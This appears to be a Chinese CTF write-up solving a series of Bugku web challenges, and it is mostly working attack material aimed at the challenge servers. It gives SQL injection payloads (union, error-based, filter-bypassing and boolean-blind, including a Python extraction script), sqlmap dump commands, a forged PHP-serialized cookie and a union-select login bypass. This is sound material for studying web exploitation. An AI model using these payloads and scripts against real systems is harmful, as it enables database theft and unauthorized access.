一、第38题(这是一个神奇的登陆框)
方法一
首先我们抓包,
经过一些尝试发现存在sql注入,并且sql语句是使用“来闭合的。
爆数据库
admin_name=1" union select database(),2#&admin_passwd=1&submit=GO+GO+GO
爆数据表
admin_name=1" union select (select table_name from information_schema.tables where table_schema=database() limit 0,1),2%23&admin_passwd=1&submit=GO+GO+GO
爆字段名
admin_name=1" union select (select column_name from information_schema.columns where table_name='flag1'),2%23&admin_passwd=1&submit=GO+GO+GO
爆数据
admin_name=1" union select (select flag1 from flag1),2%23&admin_passwd=1&submit=GO+GO+GO
方法二
将抓到的报保存为.txt文件放在sqlmap的安装目录下。
爆数据库
python2 sqlmap.py -r "3.txt" -p admin_name --dbs
爆表
python2 sqlmap.py -r "3.txt" -D bugkusql1 -p admin_name --tables
爆字段名
爆数据
python2 sqlmap.py -r "3.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump
以上2种方法均是对admin_name进行注入,当然也可以对admin_passwd进行注入
二、第39题(多次)
尝试id=1',发现报错,
尝试id=1' --+发现没有报错
说明存在sql注入
尝试id=1' or --+报错,
说明存在某种过滤
尝试id=1' oorr --+发现没有报错
在这里我们可以使用异或注入来检查哪些字符被过滤
这时我们可以用异或注入来检测,异或即两个条件相同(同真或同假)即为假
http://123.206.87.240:9004/1ndex.php?id=1'^(length('or')!=0)--+
当length()里的字符被过滤时,就输出there is nothing.
经过一些尝试可以知道
and or select union被绕过
开始爆数据库
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon seselectlect 1,database()--+
可以爆出数据库为
爆表
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(table_name) from infoorrmation_schema.tables
where table_schema="web1002-1"--+
爆字段
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon seselectlect 1,group_concat(column_name) from infoorrmation_schema.columns where table_name="flag1"--+
爆数据
http://123.206.87.240:9004/1ndex.php?id=-1' uniunionon seselectlect 1,flag1 from flag--+
提交flag 发现是假的flag,那么我们爆另一个字段
使用上面的方法,经过尝试发现我们注入的代码会在IP处不解析的输出
那么我们尝试下报错注入
爆数据库
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
爆数据表
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema=”web1002-2”),0x7e)))–+
爆字段(其实我们可以猜测字段名为flag2)
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+
爆flag
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+
三、第40题(PHP_encrypt_1)
题目给出了压缩包,下载打开,发现是某种加密方式,需要我们阅读代码,写出解密代码
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
参考网上的大佬写的代码,该题涉及密码学,逆向,web
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // 对 base64 后的字符串 decode
$md_len = strlen($tmp); //获取字符串长度
for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key;
if ($x == $klen) // 数据长度是否超过 key 长度检测
$x = 0;
$char .= $mkey[$x]; // 从 key 中取二次加密用 key
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数
$data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
四、第41题(文件包含2)
由于无法打卡该题目网站,本题略
四、第42题(文件包含2)
这题考的是代码审计
首先,我们提交login发现没反应,题目提示hint那么我们传入?hint=1试试,发现
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
然后开始审计代码发现,
这是个php反序列。
$cookie = $_COOKIE['ISecer'];
代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。
也就是cookie的参数的值必须为$kEY
的值的序列化。
注意$key
的值在调用的时候还没有被定义
构造序列化字符串
<?php
echo serialize('');
?>
输出s:0:’’
然后我们抓包将Cookie的值改为ISecer=s:0:’’,即可得出flag
五、第43题(sql2)
该题为post型的sql注入,尝试了各种sql注入发现都被过滤了,当时那个绝望呀。
去看别人博客提示说是DS_Store源码泄露,然后就需要用到python脚本来跑一下了,发现了flag目录,直接访问,然后就得到了flag。
DS_Store下载地址:https://github.com/lijiejie/ds_store_exp
我们了解下什么是DS_Store源码泄露
六、第45题(Trim的日记本)
登入,额发现题目的出了点问题,不够不影响我们解题,扫描
登录http://123.206.87.240:9002/show.php
提交flag竟然是真的。
七、第46题(login2)
第一步抓包
可以发现这边有一堆base64加密的编码
解密
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
这段代码的意思大概就是,通过输入不存在用户,用union select 构造出指定密码的md5值,即可登入成功
username=1’ union select 1,md5(1)#&password=1
八、第47题(login3)
我们先尝试下账号admin密码pass,发现返回密码错误。
账号admin’,密码pass发现
说明本题应该使用布尔盲注
再构造语句,进行几次的基于bool盲注的注入,查看一下有没有绕过一些特殊的语句
username=’^(1)^1#&password=123
在测试过程中,发现过滤了 ‘空格’ 以及 ’=‘ ,则空格可以使用 () 代替,=可以使用 <> 代替,还有and information。
那么我们应该想到使用脚本,毕竟手动盲注什么时候是个头,然后将得到的密码MD5解密
附上脚本代码
import requests
guess = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url = "http://123.206.31.85:49167/"
database=""
for i in range(0,35):
for j in guess:
# uname = "admin'^(ascii(mid(database()from(%i)))<>%s)^0#"%(i,ord(j))
uname = "admin'^(ascii(mid((select(password)from(admin))from(%i)))<>%s)^0#"%(i,ord(j))
data = {
"username":uname,
"password":"123"
}
res = requests.post(url=url,data=data).text
if "password error" in res:
database += j
print(database)
break
大家也可以参考下这篇文章https://blog.csdn.net/qq_42133828/article/details/86815663
九、第48题(login4)
经过尝试发现题目说只有admin可以看到flag又说admin不允许登录
参考这篇文章
https://blog.csdn.net/csu_vc/article/details/79619309
十、文件上传2(湘桥杯)
不知道为什么进不了题目
大家可以参考下这篇文章
https://www.jianshu.com/p/59730b290120
十一、秋名山老司机
直接用python脚本即可得出flag
#coding:utf-8
import requests
import re
url = "http://123.206.87.240:8002/qiumingshan/"
res = requests.session()
s = res.get(url).text
num = re.search(r'(\d+[+\-*])+(\d+)',s).group()
result = eval(num)
data = {'value':result}
print(res.post(url=url,data=data).text)